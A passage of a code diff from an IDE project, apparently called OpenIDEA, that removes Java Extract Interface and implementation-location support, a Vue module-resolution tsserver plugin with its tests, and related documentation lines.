||||
let (snap, t) = self.jdtls_target(doc, FEATURE).await?;
|
||||
let mut params = json!({
|
||||
"command": "extractInterface",
|
||||
"context": Self::signature_context(&snap, &t, pos),
|
||||
"options": { "tabSize": 4, "insertSpaces": true },
|
||||
"commandArguments": [members, name, package],
|
||||
});
|
||||
if let Some(token) = confirmation {
|
||||
params["confirmationToken"] = json!(token);
|
||||
}
|
||||
let answer: Option<RefactorEdit> =
|
||||
self.call(&t, "java/getRefactorEdit", params, Some(&cancel), COMMAND_TIMEOUT).await?;
|
||||
if cancel.is_cancelled() {
|
||||
return Err(IdeError::cancelled());
|
||||
}
|
||||
// jdtls answers nothing when its checks fail, and reports why in a message of its own.
|
||||
let Some(answer) = answer else {
|
||||
return Ok(ServerRefactored {
|
||||
problems: vec![RefactoringProblem {
|
||||
severity: ProblemSeverity::Fatal,
|
||||
message: "The interface could not be extracted".to_owned(),
|
||||
}],
|
||||
edit: None,
|
||||
confirmation: None,
|
||||
});
|
||||
};
|
||||
let conv = self.conv(t.enc());
|
||||
Ok(changed(answer, |e| convert::workspace_edit(&conv, e)))
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn reads_the_members_and_packages() {
|
||||
let status: Status = serde_json::from_value(json!({
|
||||
"members": [
|
||||
{ "name": "area", "typeName": "double", "parameters": [], "handleIdentifier": "=p/src<a{Shape.java[Shape~area" },
|
||||
{ "name": "UNIT", "typeName": "int", "handleIdentifier": "=p/src<a{Shape.java[Shape^UNIT" },
|
||||
],
|
||||
"subTypeName": "Shape",
|
||||
"destinationResponse": { "destinations": [{ "displayName": "a", "isParentOfSelectedFile": true }] },
|
||||
}))
|
||||
.unwrap();
|
||||
let info = info_of(Some(status)).unwrap();
|
||||
assert_eq!(info.class_name, "Shape");
|
||||
assert_eq!(info.members[0].parameters.as_deref(), Some(&[][..]));
|
||||
assert_eq!(info.members[1].parameters, None);
|
||||
assert_eq!(serde_json::from_str::<Value>(&info.packages[0]).unwrap()["displayName"], "a");
|
||||
assert!(info_of(None).is_err());
|
||||
}
|
||||
}
|
||||
@@ -68,7 +68,7 @@ impl LspManager {
|
||||
Ok((snap, t))
|
||||
}
|
||||
|
||||
pub(super) fn signature_context(snap: &DocSnap, t: &Target, pos: Pos) -> Value {
|
||||
fn signature_context(snap: &DocSnap, t: &Target, pos: Pos) -> Value {
|
||||
let at = snap.position(t, pos);
|
||||
json!({
|
||||
"textDocument": { "uri": snap.uri },
|
||||
|
||||
@@ -434,11 +434,6 @@ async fn library_sources(snap: &DocSnap, root: &Path, pos: Pos, locs: Vec<Locati
|
||||
|
||||
const JAVA_IMPLEMENTATIONS: &str = "openidea.java.implementations";
|
||||
|
||||
/// jdtls' locations of the implementations of the method at a position in the classes named
|
||||
/// with it, for implementation classes in dependencies: its standard request puts those at the
|
||||
/// start of the decompiled class instead of at the method.
|
||||
const JAVA_IMPLEMENTATION_LOCATIONS: &str = "openidea.java.implementationLocations";
|
||||
|
||||
/// The answer of [`JAVA_IMPLEMENTATIONS`]: `complete` when the type is declared in the
|
||||
/// sources, so no dependency can implement it.
|
||||
#[derive(serde::Deserialize)]
|
||||
@@ -447,13 +442,6 @@ struct SourceImplementations {
|
||||
complete: bool,
|
||||
}
|
||||
|
||||
/// The answer of [`JAVA_IMPLEMENTATION_LOCATIONS`]: one entry per requested class, `None` when
|
||||
/// it has no implementation of the method.
|
||||
#[derive(serde::Deserialize)]
|
||||
struct TargetImplementations {
|
||||
locations: Vec<Option<lsp::Location>>,
|
||||
}
|
||||
|
||||
/// Receives the implementations found so far, before a slower search for the rest.
|
||||
type Partial<'a> = Option<&'a (dyn Fn(Vec<Location>) + Send + Sync)>;
|
||||
|
||||
@@ -1822,84 +1810,6 @@ impl LspManager {
|
||||
out
|
||||
}
|
||||
|
||||
/// jdtls: where the implementation methods of the method at `pos` are declared in the
|
||||
/// dependency classes `locs` point at. Its standard request answers those with `0:0`, the
|
||||
/// start of the class file's decompiled source; [`JAVA_IMPLEMENTATION_LOCATIONS`] resolves
|
||||
/// the declaration itself.
|
||||
async fn java_implementation_locations(
|
||||
&self,
|
||||
snap: &DocSnap,
|
||||
t: &Target,
|
||||
pos: Pos,
|
||||
locs: Vec<Location>,
|
||||
cancel: Option<&CancellationToken>,
|
||||
) -> Vec<Location> {
|
||||
if t.server.name != "jdtls" || !t.caps().commands().iter().any(|c| c == JAVA_IMPLEMENTATION_LOCATIONS) {
|
||||
return locs;
|
||||
}
|
||||
let targets: Vec<(usize, String)> = locs
|
||||
.iter()
|
||||
.enumerate()
|
||||
.filter_map(|(i, l)| {
|
||||
let uri = l.uri.as_deref()?;
|
||||
(virtual_doc::scheme(uri) == "jdt" && l.range.start.line == 0).then(|| (i, uri.to_owned()))
|
||||
})
|
||||
.collect();
|
||||
if targets.is_empty() {
|
||||
return locs;
|
||||
}
|
||||
let params = snap.pos_params(t, pos);
|
||||
let arguments = json!([
|
||||
params["textDocument"]["uri"],
|
||||
params["position"]["line"],
|
||||
params["position"]["character"],
|
||||
targets.iter().map(|(_, uri)| uri).collect::<Vec<_>>(),
|
||||
]);
|
||||
let result: IdeResult<TargetImplementations> = self
|
||||
.call(
|
||||
t,
|
||||
"workspace/executeCommand",
|
||||
json!({ "command": JAVA_IMPLEMENTATION_LOCATIONS, "arguments": arguments }),
|
||||
cancel,
|
||||
LONG_TIMEOUT,
|
||||
)
|
||||
.await;
|
||||
let found = match result {
|
||||
Ok(found) if found.locations.len() == targets.len() => found,
|
||||
Ok(_) => return locs,
|
||||
Err(e) => {
|
||||
tracing::debug!("{JAVA_IMPLEMENTATION_LOCATIONS}: {}", e.message);
|
||||
return locs;
|
||||
}
|
||||
};
|
||||
let mut out = locs;
|
||||
for ((i, _), loc) in targets.into_iter().zip(found.locations) {
|
||||
if let Some(loc) = loc.as_ref().and_then(|l| self.conv(t.enc()).location(l)) {
|
||||
out[i] = loc;
|
||||
}
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
/// Refines the implementation `locs` of the method at `pos`: jdtls puts an implementation in
|
||||
/// a dependency at the start of its decompiled class instead of at the method, which matters
|
||||
/// when the gutter marker's targets are opened one by one.
|
||||
pub async fn implementation_locations(
|
||||
&self,
|
||||
doc: DocId,
|
||||
pos: Pos,
|
||||
locs: Vec<Location>,
|
||||
cancel: CancellationToken,
|
||||
) -> IdeResult<Vec<Location>> {
|
||||
let (_, cap, feature) = goto_method(GotoKind::Implementation);
|
||||
let (snap, targets) = self.doc_targets(doc, feature, |c| c.has(cap)).await?;
|
||||
let mut out = locs;
|
||||
for t in &targets {
|
||||
out = self.java_implementation_locations(&snap, t, pos, out, Some(&cancel)).await;
|
||||
}
|
||||
Ok(out)
|
||||
}
|
||||
|
||||
async fn goto_in(
|
||||
&self,
|
||||
snap: &DocSnap,
|
||||
@@ -1939,12 +1849,6 @@ impl LspManager {
|
||||
Ok(Some(r)) => {
|
||||
let locs = convert::goto_response(&self.conv(t.enc()), r);
|
||||
let locs = library_sources(snap, &self.project_root, pos, locs).await;
|
||||
// Only explicit Go to Implementation: gutter markers ask for every line.
|
||||
let locs = if method == "textDocument/implementation" && partial.is_some() {
|
||||
self.java_implementation_locations(snap, t, pos, locs, cancel).await
|
||||
} else {
|
||||
locs
|
||||
};
|
||||
self.note_virtual(&t.server, locs.iter().map(|l| l.uri.as_deref()));
|
||||
self.note_arduino_sources(&t.server, &locs);
|
||||
let locs = self.jdt_library_classes(snap, pos, locs).await;
|
||||
|
||||
@@ -539,30 +539,7 @@ pub struct MethodSignature {
|
||||
pub exceptions: Vec<SignatureException>,
|
||||
}
|
||||
|
||||
/// A member Extract Interface can declare in the new interface.
|
||||
#[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize, Type)]
|
||||
#[serde(rename_all = "camelCase")]
|
||||
pub struct InterfaceMember {
|
||||
pub name: String,
|
||||
/// The method's return type or the field's type.
|
||||
pub type_name: String,
|
||||
/// The method's parameter types; `None` for a field.
|
||||
pub parameters: Option<Vec<String>>,
|
||||
/// The server's handle of the member, passed back unchanged.
|
||||
pub handle_identifier: String,
|
||||
}
|
||||
|
||||
/// What Extract Interface starts from: the file's class, the members the interface can declare and
|
||||
/// the packages it can go to (as JSON, passed back unchanged).
|
||||
#[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize, Type)]
|
||||
#[serde(rename_all = "camelCase")]
|
||||
pub struct ExtractInterfaceInfo {
|
||||
pub class_name: String,
|
||||
pub members: Vec<InterfaceMember>,
|
||||
pub packages: Vec<String>,
|
||||
}
|
||||
|
||||
/// A refactoring checked by the server (Change Signature, Move, Extract Interface): problems to show, the edit when
|
||||
/// A refactoring checked by the server (Change Signature, Move): problems to show, the edit when
|
||||
/// none is fatal, and the token that confirms going on despite warnings.
|
||||
#[derive(Clone, Debug, Serialize, Deserialize, Type)]
|
||||
#[serde(rename_all = "camelCase")]
|
||||
|
||||
@@ -3483,52 +3483,6 @@ async fn java_implementations_come_from_sources_first() {
|
||||
assert_eq!(s.requested("textDocument/implementation").len(), 3);
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn java_dependency_implementations_point_at_the_method() {
|
||||
let caps = json!({
|
||||
"textDocumentSync": 1,
|
||||
"implementationProvider": true,
|
||||
"executeCommandProvider": { "commands": ["openidea.java.implementations", "openidea.java.implementationLocations"] },
|
||||
});
|
||||
let h = harness_for("java", "java", &[("jdtls", caps)], &[]);
|
||||
let (doc, _) = h.open("Repo.java", "interface Repo {\n void save(String item);\n}\n");
|
||||
h.wait_status("jdtls", ServerStatus::Ready).await;
|
||||
let s = h.launcher.state("jdtls");
|
||||
let class_uri = "jdt://contents/lib.jar/zoo/RepoImpl.java?=p/lib.jar%3Czoo%28RepoImpl.class";
|
||||
let method = json!({
|
||||
"uri": class_uri,
|
||||
"range": {"start":{"line":4,"character":4},"end":{"line":6,"character":5}},
|
||||
});
|
||||
let at_zero = json!({
|
||||
"uri": class_uri,
|
||||
"range": {"start":{"line":0,"character":0},"end":{"line":0,"character":0}},
|
||||
});
|
||||
let refined = method.clone();
|
||||
*s.responder.lock() = Some(Arc::new(move |_, method, params| match method {
|
||||
"workspace/executeCommand" if params["command"] == "openidea.java.implementations" => {
|
||||
Some(json!({ "locations": [], "complete": false }))
|
||||
}
|
||||
"workspace/executeCommand" if params["command"] == "openidea.java.implementationLocations" => {
|
||||
assert_eq!(params["arguments"][3], json!([class_uri]));
|
||||
Some(json!({ "locations": [refined] }))
|
||||
}
|
||||
"textDocument/implementation" => Some(json!([at_zero])),
|
||||
_ => None,
|
||||
}));
|
||||
let partial = Mutex::new(Vec::new());
|
||||
let found = h
|
||||
.mgr
|
||||
.goto_implementation(doc, Pos::new(1, 9), Default::default(), &|locs| partial.lock().push(locs.to_vec()))
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(found.len(), 1);
|
||||
assert_eq!(found[0].uri.as_deref(), Some(class_uri));
|
||||
assert_eq!(found[0].range.start.line, 4);
|
||||
assert_eq!(s.requested("textDocument/implementation").len(), 1);
|
||||
let commands = s.requested("workspace/executeCommand");
|
||||
assert!(commands.iter().any(|r| r["command"] == "openidea.java.implementationLocations"));
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn navigation_rename_format_and_decorations() {
|
||||
let h = harness(&[("mock", incremental_caps())]);
|
||||
|
||||
@@ -1277,40 +1277,6 @@ pub fn configure_server(cfg: &mut LanguageServerConfig, root: &Path, server_root
|
||||
}
|
||||
}
|
||||
|
||||
/// Registers the companion module-resolution plugin for the Vue hybrid mode's tsserver.
|
||||
/// The Vue plugin only resolves imports that name the
|
||||
/// `.vue` file: a directory `index.js` re-exporting a sibling `.vue`
|
||||
/// (`import ChildButton from './ChildButton'`) leaves the component `any`, and with it every
|
||||
/// `@event="method"` handler type in the project's templates (#3728; VS Code patches tsserver
|
||||
/// itself for this). The companion plugin retries only what tsserver and the Vue plugin left
|
||||
/// unresolved, so it is registered after theirs. No-op without it (no Vue language server).
|
||||
pub fn configure_vue_module_resolution(cfg: &mut LanguageServerConfig, data_dir: &Path) -> bool {
|
||||
let Some(vue_at) = cfg.initialization_options.as_ref().and_then(|v| serde_json::to_value(v).ok()).and_then(|v| {
|
||||
v.pointer("/vtsls/tsserver/globalPlugins")
|
||||
.and_then(Value::as_array)
|
||||
.and_then(|plugins| plugins.iter().position(|p| p.get("name").and_then(Value::as_str) == Some(vue::PLUGIN)))
|
||||
}) else {
|
||||
return false;
|
||||
};
|
||||
let Some(plugin) = vue::module_resolution_plugin(data_dir) else {
|
||||
return false;
|
||||
};
|
||||
let mut current =
|
||||
cfg.initialization_options.as_ref().and_then(|v| serde_json::to_value(v).ok()).unwrap_or_else(|| json!({}));
|
||||
let Some(plugins) = current.pointer_mut("/vtsls/tsserver/globalPlugins").and_then(Value::as_array_mut) else {
|
||||
return false;
|
||||
};
|
||||
match plugins.iter().position(|p| p.get("name").and_then(Value::as_str) == Some(vue::MODULE_RESOLUTION_PLUGIN)) {
|
||||
Some(at) => plugins[at] = plugin,
|
||||
None => plugins.insert(vue_at + 1, plugin),
|
||||
}
|
||||
match toml::Value::try_from(current) {
|
||||
Ok(v) => cfg.initialization_options = Some(v),
|
||||
Err(e) => tracing::warn!("{}: cannot apply settings to initialization options: {e}", cfg.name),
|
||||
}
|
||||
true
|
||||
}
|
||||
|
||||
/// The servers `language` uses after Settings › Language Servers: the
|
||||
/// definition's ones that aren't disabled, then the ones defined in settings for it.
|
||||
pub fn language_servers(language: &str, defined: &[LanguageServerConfig], s: &Settings) -> Vec<LanguageServerConfig> {
|
||||
|
||||
@@ -1588,7 +1588,7 @@ pub fn usages_bundle(data_dir: &Path) -> Option<PathBuf> {
|
||||
install_bundle(
|
||||
data_dir,
|
||||
"java-usages",
|
||||
"1.15.0",
|
||||
"1.14.0",
|
||||
include_bytes!("../../../java/java-usages/openidea-java-usages.jar"),
|
||||
)
|
||||
}
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
use crate::apply::{
|
||||
apply_to_run_configs, apply_to_run_configs_in, configure_server, configure_vue_module_resolution, jdtls_jdk,
|
||||
maven_command, maven_options, project_jdk, python_interpreter, ruff_configuration, terminal_activation,
|
||||
tool_install_environment, tsdk, without_derived, without_derived_in,
|
||||
apply_to_run_configs, apply_to_run_configs_in, configure_server, jdtls_jdk, maven_command, maven_options,
|
||||
project_jdk, python_interpreter, ruff_configuration, terminal_activation, tool_install_environment, tsdk,
|
||||
without_derived, without_derived_in,
|
||||
};
|
||||
use crate::python::parse_pip_list;
|
||||
use crate::{bin_dir, exe, venv_of};
|
||||
@@ -2735,50 +2735,3 @@ fn tool_installs_resolve_project_relative_sdks_and_leave_path_fallback_unconfigu
|
||||
s.languages.python.interpreter = real.to_string_lossy().into_owned();
|
||||
assert_eq!(tool_install_environment(root, &s).commands["python"], real);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn vue_module_resolution_plugin_follows_the_vue_plugin() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let mut cfg = server("vtsls");
|
||||
crate::apply::merge_init_options(
|
||||
&mut cfg,
|
||||
serde_json::json!({ "vtsls": { "tsserver": { "globalPlugins": [crate::vue::tsserver_plugin(Path::new("/vue"))] } } }),
|
||||
);
|
||||
assert!(configure_vue_module_resolution(&mut cfg, tmp.path()));
|
||||
let plugins = cfg
|
||||
.initialization_options
|
||||
.as_ref()
|
||||
.map(|v| serde_json::to_value(v).unwrap())
|
||||
.unwrap()
|
||||
.pointer("/vtsls/tsserver/globalPlugins")
|
||||
.unwrap()
|
||||
.as_array()
|
||||
.unwrap()
|
||||
.clone();
|
||||
assert_eq!(plugins.len(), 2);
|
||||
assert_eq!(plugins[0]["name"], "@vue/typescript-plugin");
|
||||
assert_eq!(plugins[1]["name"], "openidea-vue-module-resolution");
|
||||
let index = tmp.path().join("tsplugins/node_modules/openidea-vue-module-resolution/index.js");
|
||||
assert_eq!(std::fs::read_to_string(&index).unwrap(), include_str!("vue-module-resolution.js"));
|
||||
// Running again replaces its own entry instead of stacking copies.
|
||||
assert!(configure_vue_module_resolution(&mut cfg, tmp.path()));
|
||||
let plugins = cfg
|
||||
.initialization_options
|
||||
.as_ref()
|
||||
.map(|v| serde_json::to_value(v).unwrap())
|
||||
.unwrap()
|
||||
.pointer("/vtsls/tsserver/globalPlugins")
|
||||
.unwrap()
|
||||
.as_array()
|
||||
.unwrap()
|
||||
.clone();
|
||||
assert_eq!(plugins.len(), 2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn without_the_vue_plugin_the_module_resolution_plugin_stays_out() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let mut cfg = server("vtsls");
|
||||
assert!(!configure_vue_module_resolution(&mut cfg, tmp.path()));
|
||||
assert!(cfg.initialization_options.is_none());
|
||||
}
|
||||
@@ -1,142 +0,0 @@
|
||||
"use strict";
|
||||
// Companion tsserver plugin for `@vue/typescript-plugin`: when TypeScript cannot resolve an
|
||||
// extension-less relative import, retry it with the `.vue` extension. The Vue plugin only
|
||||
// resolves specifiers that already name the `.vue` file (through a faked `.d.vue.ts`
|
||||
// declaration), so a directory `index.js` re-exporting a sibling `.vue`
|
||||
// (`import X from './X'`) leaves the component `any`, and with it every `@event="method"`
|
||||
// handler type in the project's templates. This is the host-side equivalent of VS Code's
|
||||
// `patch-tsserver.js`, which adds `.vue` to the extensions tsserver tries.
|
||||
module.exports = ({ typescript }) => ({
|
||||
create(info) {
|
||||
const ts = typescript;
|
||||
const host = info.languageServiceHost;
|
||||
if (!host) {
|
||||
return info.languageService;
|
||||
}
|
||||
const VUE = ".vue";
|
||||
const DECLARATION = ".d.vue.ts";
|
||||
// Specifiers TypeScript never resolves on its own that could still name an SFC:
|
||||
// relative and without a known extension (`./ChildButton`, `./ChildButton/`).
|
||||
const withVueExtension = (moduleName) => {
|
||||
const base = moduleName.replace(/\/+$/, "");
|
||||
if (
|
||||
!ts.isExternalModuleNameRelative(base) ||
|
||||
base.endsWith(VUE) ||
|
||||
/\.[cm]?[jt]sx?$/.test(base) ||
|
||||
/\.json$/.test(base)
|
||||
) {
|
||||
return undefined;
|
||||
}
|
||||
return base + VUE;
|
||||
};
|
||||
const fileExists = (fileName) =>
|
||||
typeof host.fileExists === "function" ? host.fileExists(fileName) : ts.sys.fileExists(fileName);
|
||||
const readFile = (fileName) => {
|
||||
try {
|
||||
return typeof host.readFile === "function" ? host.readFile(fileName) : ts.sys.readFile(fileName);
|
||||
} catch {
|
||||
return undefined;
|
||||
}
|
||||
};
|
||||
// TypeScript probes `<specifier>.d.vue.ts` for a `.vue` import under
|
||||
// `allowArbitraryExtensions`; answer `true` when the `.vue` itself is on disk.
|
||||
const moduleResolutionHost = {
|
||||
fileExists: (fileName) =>
|
||||
fileName.endsWith(DECLARATION)
|
||||
? fileExists(fileName.slice(0, -DECLARATION.length) + VUE)
|
||||
: fileExists(fileName),
|
||||
readFile,
|
||||
directoryExists: host.directoryExists?.bind(host),
|
||||
realpath: host.realpath?.bind(host),
|
||||
getCurrentDirectory: host.getCurrentDirectory?.bind(host),
|
||||
getDirectories: host.getDirectories?.bind(host),
|
||||
useCaseSensitiveFileNames:
|
||||
typeof host.useCaseSensitiveFileNames === "function"
|
||||
? host.useCaseSensitiveFileNames.bind(host)
|
||||
: host.useCaseSensitiveFileNames,
|
||||
};
|
||||
// The SFC's service script is TypeScript when it says `<script lang="ts">`, else JavaScript.
|
||||
const scriptExtension = (vueFileName) => {
|
||||
const head = readFile(vueFileName)?.slice(0, 4096) ?? "";
|
||||
return /<script\b[^>]*\blang\s*=\s*["']tsx?["']/i.test(head) ? ".ts" : ".js";
|
||||
};
|
||||
const resolveVue = (moduleName, containingFile, options, redirectedReference, resolutionMode) => {
|
||||
const specifier = withVueExtension(moduleName);
|
||||
if (!specifier) {
|
||||
return undefined;
|
||||
}
|
||||
const result = ts.resolveModuleName(
|
||||
specifier,
|
||||
containingFile,
|
||||
{ ...options, allowArbitraryExtensions: true },
|
||||
moduleResolutionHost,
|
||||
undefined,
|
||||
redirectedReference,
|
||||
resolutionMode,
|
||||
);
|
||||
const resolved = result.resolvedModule;
|
||||
if (!resolved || !resolved.resolvedFileName.endsWith(DECLARATION)) {
|
||||
return undefined;
|
||||
}
|
||||
const vueFileName = resolved.resolvedFileName.slice(0, -DECLARATION.length) + VUE;
|
||||
resolved.resolvedFileName = vueFileName;
|
||||
resolved.extension = scriptExtension(vueFileName);
|
||||
return resolved;
|
||||
};
|
||||
// Loaded after `@vue/typescript-plugin`, so its decorated resolvers run first; the
|
||||
// retry only fills what both it and tsserver left unresolved.
|
||||
if (typeof host.resolveModuleNameLiterals === "function") {
|
||||
const resolveModuleNameLiterals = host.resolveModuleNameLiterals.bind(host);
|
||||
host.resolveModuleNameLiterals = (
|
||||
moduleLiterals,
|
||||
containingFile,
|
||||
redirectedReference,
|
||||
options,
|
||||
containingSourceFile,
|
||||
...rest
|
||||
) => {
|
||||
const results = resolveModuleNameLiterals(
|
||||
moduleLiterals,
|
||||
containingFile,
|
||||
redirectedReference,
|
||||
options,
|
||||
containingSourceFile,
|
||||
...rest,
|
||||
);
|
||||
return moduleLiterals.map((literal, i) => {
|
||||
if (results[i]?.resolvedModule) {
|
||||
return results[i];
|
||||
}
|
||||
const mode = ts.getModeForUsageLocation?.(containingSourceFile, literal, options);
|
||||
const resolved = resolveVue(literal.text, containingFile, options, redirectedReference, mode);
|
||||
return resolved ? { resolvedModule: resolved } : results[i];
|
||||
});
|
||||
};
|
||||
}
|
||||
if (typeof host.resolveModuleNames === "function") {
|
||||
const resolveModuleNames = host.resolveModuleNames.bind(host);
|
||||
host.resolveModuleNames = (
|
||||
moduleNames,
|
||||
containingFile,
|
||||
reusedNames,
|
||||
redirectedReference,
|
||||
options,
|
||||
containingSourceFile,
|
||||
) => {
|
||||
const results = resolveModuleNames(
|
||||
moduleNames,
|
||||
containingFile,
|
||||
reusedNames,
|
||||
redirectedReference,
|
||||
options,
|
||||
containingSourceFile,
|
||||
);
|
||||
const mode = containingSourceFile?.impliedNodeFormat;
|
||||
return moduleNames.map(
|
||||
(moduleName, i) => results[i] ?? resolveVue(moduleName, containingFile, options, redirectedReference, mode),
|
||||
);
|
||||
};
|
||||
}
|
||||
return info.languageService;
|
||||
},
|
||||
});
|
||||
@@ -11,11 +11,7 @@ use std::time::Duration;
|
||||
|
||||
pub(crate) const SERVER: &str = "vue-language-server";
|
||||
const PACKAGE: &str = "@vue/language-server";
|
||||
pub(crate) const PLUGIN: &str = "@vue/typescript-plugin";
|
||||
/// The companion plugin's package name under the IDE's data dir.
|
||||
pub(crate) const MODULE_RESOLUTION_PLUGIN: &str = "openidea-vue-module-resolution";
|
||||
/// The TS plugin shipped as an asset: retries extension-less relative imports with `.vue`.
|
||||
const MODULE_RESOLUTION_JS: &str = include_str!("vue-module-resolution.js");
|
||||
const PLUGIN: &str = "@vue/typescript-plugin";
|
||||
/// The file extension the plugin adds to tsserver.
|
||||
pub(crate) const EXTENSION: &str = "vue";
|
||||
const CLI_SERVICE: &str = "@vue/cli-service";
|
||||
@@ -53,25 +49,6 @@ pub(crate) fn tsserver_plugin(package: &Path) -> serde_json::Value {
|
||||
})
|
||||
}
|
||||
|
||||
/// The companion module-resolution plugin (`vue-module-resolution.js`) written under
|
||||
/// `<data_dir>/tsplugins`, as one more tsserver global plugin. `location` is the directory
|
||||
/// holding its `node_modules`, the layout a plugin probe path resolves. Idempotent: the file
|
||||
/// is only rewritten when its content changed. `None` when the data dir cannot be written.
|
||||
pub(crate) fn module_resolution_plugin(data_dir: &Path) -> Option<serde_json::Value> {
|
||||
let root = data_dir.join("tsplugins");
|
||||
let dir = root.join("node_modules").join(MODULE_RESOLUTION_PLUGIN);
|
||||
if std::fs::read(dir.join("index.js")).ok().as_deref() != Some(MODULE_RESOLUTION_JS.as_bytes()) {
|
||||
std::fs::create_dir_all(&dir).ok()?;
|
||||
std::fs::write(dir.join("index.js"), MODULE_RESOLUTION_JS).ok()?;
|
||||
}
|
||||
Some(serde_json::json!({
|
||||
"name": MODULE_RESOLUTION_PLUGIN,
|
||||
"location": root.to_string_lossy(),
|
||||
"languages": ["vue"],
|
||||
"enableForWorkspaceTypeScriptVersions": true,
|
||||
}))
|
||||
}
|
||||
|
||||
/// `compilerOptions.paths` for the webpack aliases of a Vue project at `root` (`@/*` →
|
||||
/// `<root>/src/*`), for its tsserver project when it has no `jsconfig.json`: tsserver can't
|
||||
/// read webpack configurations, so `@/` imports resolve to nothing, and a mixin imported
|
||||
@@ -303,41 +280,4 @@ module.exports = { resolve: { alias: {
|
||||
touch(&tmp.path().join("node_modules/typescript/lib/typescript.js"));
|
||||
assert_eq!(own_typescript(&pkg), Some(tmp.path().join("node_modules/typescript/lib")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_module_resolution_plugin_is_written_where_a_probe_path_finds_it() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let t = tmp.path();
|
||||
let plugin = module_resolution_plugin(t).unwrap();
|
||||
assert_eq!(plugin["name"], MODULE_RESOLUTION_PLUGIN);
|
||||
assert_eq!(plugin["location"], t.join("tsplugins").to_string_lossy().as_ref());
|
||||
assert_eq!(plugin["enableForWorkspaceTypeScriptVersions"], true);
|
||||
let index = t.join("tsplugins/node_modules").join(MODULE_RESOLUTION_PLUGIN).join("index.js");
|
||||
assert_eq!(std::fs::read_to_string(&index).unwrap(), MODULE_RESOLUTION_JS);
|
||||
// A stale file from an older release is replaced.
|
||||
std::fs::write(&index, "outdated").unwrap();
|
||||
module_resolution_plugin(t).unwrap();
|
||||
assert_eq!(std::fs::read_to_string(&index).unwrap(), MODULE_RESOLUTION_JS);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_module_resolution_plugin_loads_as_a_tsserver_plugin() {
|
||||
let Some(node) = crate::exec::which("node") else { return };
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
module_resolution_plugin(tmp.path()).unwrap();
|
||||
let index = tmp.path().join("tsplugins/node_modules").join(MODULE_RESOLUTION_PLUGIN).join("index.js");
|
||||
// tsserver requires the package and calls the factory with `{ typescript }`.
|
||||
let out = crate::exec::query_in(
|
||||
&node,
|
||||
&[
|
||||
"-e",
|
||||
"const p = require(process.argv[1]); if (typeof p !== 'function') process.exit(1); process.stdout.write('factory');",
|
||||
&index.to_string_lossy(),
|
||||
],
|
||||
None,
|
||||
&[],
|
||||
std::time::Duration::from_secs(30),
|
||||
);
|
||||
assert_eq!(out.as_deref(), Some("factory"));
|
||||
}
|
||||
}
|
||||
@@ -32,8 +32,6 @@ These agents are built in. Install the agent's own CLI and sign in once in a ter
|
||||
|
||||
Agents are unavailable in a project you have not marked as trusted.
|
||||
|
||||
Codex keeps its own project trust decision. If it disables the current project's `.codex` configuration, the task asks whether to **Trust Project in Codex** or **Keep Untrusted**. Trusting saves only that project's trust entry through Codex's configuration API before the session loads its configuration, including MCP servers, hooks and exec policies. This confirmation is required even in Full Access mode; declining keeps the configuration disabled and shows the reason without stopping the conversation. Codex configuration and runtime warnings also appear in the task.
|
||||
|
||||
## Start a task
|
||||
|
||||
| Action | macOS | Windows / Linux |
|
||||
|
||||
@@ -100,7 +100,6 @@ Notes on what they do:
|
||||
|
||||
- `read_file` also reads sources of dependencies and files inside jar and zip archives.
|
||||
- The tools that list things return one page: `limit` items (100 by default; 50 for `search_symbol`, 10 for `list_runs`), from `offset`. `total` (where counting is cheap), `more` and `nextOffset` say what follows. `list_runs` filters by `state` (`running`, `idle`, `error` or one state), `get_run_configurations` by `query`, and `get_project_problems` lists errors only unless `errorsOnly` is false.
|
||||
- The query tools (the searches, `find_references`, `get_project_problems`, `git_status`, `get_all_open_file_paths`, `get_run_configurations`, `list_runs`) take `scope`: a directory, relative to the project root or absolute, that limits their results to the files in it, such as an attached project or one module.
|
||||
- `search_symbol` and `find_references` use the IDE's index and the language servers; `get_symbol_info` returns what Quick Documentation shows.
|
||||
- `get_file_problems` and `get_project_problems` return what the Problems tool window shows, after your inspection profile is applied, rather than a fresh analysis.
|
||||
- `check_files` is the fresh analysis, for after an edit made by any tool: it syncs each file from disk, tells its language servers it was saved (so on-save checks such as `cargo check` run) and waits until they answered and finished. Each file gets a `status` that says whether the problems are complete, or why it could not be checked: no language server for it, or one that is not installed, misconfigured or crashed.
|
||||
|
||||
@@ -24,7 +24,6 @@ The **Refactor** menu has IntelliJ IDEA's refactorings with their usual shortcut
|
||||
| **Introduce Field…** | `⌥⌘F` | `Ctrl+Alt+F` | Language server |
|
||||
| **Introduce Parameter…** | `⌥⌘P` | `Ctrl+Alt+P` | Language server |
|
||||
| **Extract Method…** | `⌥⌘M` | `Ctrl+Alt+M` | Language server |
|
||||
| **Extract Interface…** | — | — | Java |
|
||||
| **Inline…** | `⌥⌘N` | `Ctrl+Alt+N` | Language server |
|
||||
| **Move…** | `F6` | `F6` | Language server (symbols); the IDE (files and folders) |
|
||||
| **Safe Delete…** | `⌘⌦` | `Alt+Delete` | The IDE, using the server's references |
|
||||
@@ -83,10 +82,6 @@ In the editor, **Move…** on a symbol runs the server's move refactoring, where
|
||||
|
||||
These move fields and methods between a class and its superclasses or subclasses, in Java and, with Phoxite as the PHP server, in PHP (methods, properties and constants). A dialog lets you pick the members and the destination; problems the move would cause are listed in **Problems Detected** before you continue. For Java they are provided by the extension bundled with OpenIDEA, for PHP by Phoxite; they are not available for other languages or other PHP servers.
|
||||
|
||||
## Extract Interface
|
||||
|
||||
